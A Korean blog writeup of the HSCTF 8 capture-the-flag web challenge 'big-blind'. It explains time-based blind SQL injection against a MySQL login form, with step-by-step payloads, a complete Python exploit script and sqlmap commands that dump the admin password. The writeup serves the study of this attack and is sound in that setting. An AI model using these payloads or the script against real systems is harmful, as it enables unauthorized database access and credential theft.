CTF/HSCTF 8

[Clear] HSCTF 8 web/big-blind Writeup

Vardy 2021. 6. 20. 03:36

대회에서 되게 오랜만이었던 Sql-injection 문제였다.

문제 이름괴 주어진 페이지에 로그인 창이 있는 것으로 보아 blind sql injection 문제임을 유추 할 수 있다.

 

우선 DB의 종류를 파악해보자. 

 

위 자료를 참고하여 #은 허용되면서 -- 를 허용하지 않는다는 것을 근거로 MySQL 일 것이라고 추측하였다.

# 는 허용 되지만,
-- 는 허용되지 않는다.

 

이제 blind sql injection 기법을 통해 password 를 찾아야하는데, 서버의 응답 값은 구문 에러가 없을 시,

TODO: Do something here.

을 출력하거나 구문에 이상이 있을 시 500 Error Code를 리턴해줄 뿐이었다.

따라서, Time based blind injection 을 통해 패스워드를 추출해보기로 하였다.

우선, 테스트 구문은 

' or case when (select length(table_name) from information_schema.tables limit 0,1)=11 then sleep(3) else sleep(0) end#

였고 3초 뒤에 응답이 온 것으로 보아 조건 만족 시 입력한 쿼리가 정상적으로 작동함을 확인 할 수 있었다.

 

time based blind injection이 가능함을 알았다. 첫 번째 단계로 

query = "' or (select ascii(substring(database(),"+str(i+1)+",1))="+str(127-j)+") and sleep(5)#" ### db_name

를 활용하여 db이름을 확인하였다.

 

query = "' or case when (select length(table_name) from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" >> table_length

를 통해 table_name의 길이를,

table_name의 길이는 5 이다.

query = "' or case when ascii(substr((select table_name from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#"

를 통해 table_name을,

table_name은 users !

 

query = "' or case when (select length(column_name) from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### column_length

를 통해 각 column의 길이를,

column의 길이가 44가 아니라 "첫 번째의 column 길이4", "두번째의 column 길이 4" 이다. 코드를 수정해가며 사용하는 과정에서 출력 방법을 수정하는걸 깜빡했다.

 

query = "' or case when ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k+1)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### column_name

를 통해 각 column의 이름을 구할 수 있었다.

column 1 = user
column 2 = pass

(user, pass .. 그냥 패킷의 파라미터명과 똑같았다.. 눈치가 빨랐더라면 더 빨리 풀 수 있었을 것 같다.)

 

마지막으로

query = "' or case when ascii(substr((select pass from db.users where user='admin'),"+str(i+1)+",1))="+str(126-j)+" then sleep(10) else sleep(0) end#" #### get data

를 통해 flag인 pass의 값을 출력 할 수 있었다. 

 

위 쿼리를 활용 할 수 있는 전체 exploit 코드는 아래와 같다.

import requests, time, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://big-blind.hsc.tf/"
for k in range(1) : ####### edit k, i , j
	table_name=''
	for i in range(50) : 
		for j in range(126) :
			if(126-j) ==32:
				break
			#db
			##db_name
			#query = "' or (select ascii(substring(database(),"+str(i+1)+",1))="+str(127-j)+") and sleep(5)#"

			#table
			##table_length
			#query = "' or case when (select length(table_name) from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### table_length
			##table_name
			#query = "' or case when ascii(substr((select table_name from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### table_name

			#column
			##column_length
			#query = "' or case when (select length(column_name) from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### table_length
			##column_name
			#query = "' or case when ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k+1)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### column_name

			#data
			query = "' or case when ascii(substr((select pass from db.users where user='admin'),"+str(i+1)+",1))="+str(126-j)+" then sleep(10) else sleep(0) end#" #### get data


			data = {'user': query, 'pass': 'pass'}
			try:
				response = requests.post(url, data=data, verify=False, timeout=3)
				#time.sleep(3)
				if "TODO:" in response.text :
					pass
				else :
					print(response.text)
			except requests.Timeout: ## edit for print result
				table_name += chr(126-j)
				print("-------------------------------------------------")
				print("Hit!")
				print(query)
				print("Timeout! Password : "+table_name)
				print("-------------------------------------------------")
				break

 

FLAG = flag{any_info_is_good_info}

 

레퍼런스:

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=gglee0127&logNo=221271644309 

 

데이터베이스 종류별 SQL 주석 종류

※ Sybase IQ % 주석은 Percent_as_comment 옵션 값이 on 이어야 합니다.

blog.naver.com

https://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95

 

[WEB] Blind SQL Injection 공격 방법

참고 - http://blog.naver.com/funny303/220778035079 - http://pypie.tistory.com/entry/Blind-SQL-Injection - http://www.securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection.html 1. SQL Inje..

crattack.tistory.com

https://cloud.google.com/bigquery/docs/information-schema-tables?hl=ko 

 

INFORMATION_SCHEMA를 사용하여 테이블 메타데이터 가져오기  |  BigQuery  |  Google Cloud

INFORMATION_SCHEMA에는 테이블 메타데이터에 대한 다음과 같은 뷰가 포함되어 있습니다. 테이블 메타데이터의 TABLES 및 TABLE_OPTIONS 열 및 필드 메타데이터의 COLUMNS 및 COLUMN_FIELD_PATHS 테이블 파티션 관

cloud.google.com

https://umbum.dev/424

 

Blind SQL Injection

Boolean-based Blind SQL Injection 쿼리 실행 결과의 ``sql True / False`` 여부에 따라 response가 다르다면, Boolean-based Blind를 사용할 수 있다. 꼭 로그인에 성공해야 ``sql True``인 것은 아니다. q..

umbum.dev

----------------------------------------------------------------------------------------------------------------------Sqlmap을 활용한 풀이도 있었다.

https://github.com/satoki/ctf_writeups/tree/master/HSCTF_8/big-blind

 

satoki/ctf_writeups

CTFの解法をまとめる。. Contribute to satoki/ctf_writeups development by creating an account on GitHub.

github.com

$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --dbs

~~~
available databases [4]:
[*] db
[*] information_schema
[*] mysql
[*] performance_schema
~~~

$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db --tables
~~~
Database: db
[1 table]
+-------+
| users |
+-------+
~~~

~~~
$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users --columns
~~~
Database: db
Table: users
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| user   | varchar(255) |
| pass   | varchar(255) |
+--------+--------------+
~~~

$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users -C user --dump
~~~
Database: db
Table: users
[1 entry]
+--------+
| user   |
+--------+
| admin  |
+--------+
~~~

$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users -C pass --dump
~~~
Database: db
Table: users
[1 entry]
+-----------------------------+
| pass                        |
+-----------------------------+
| flag{any_info_is_good_info} |
+-----------------------------+
~~~
반응형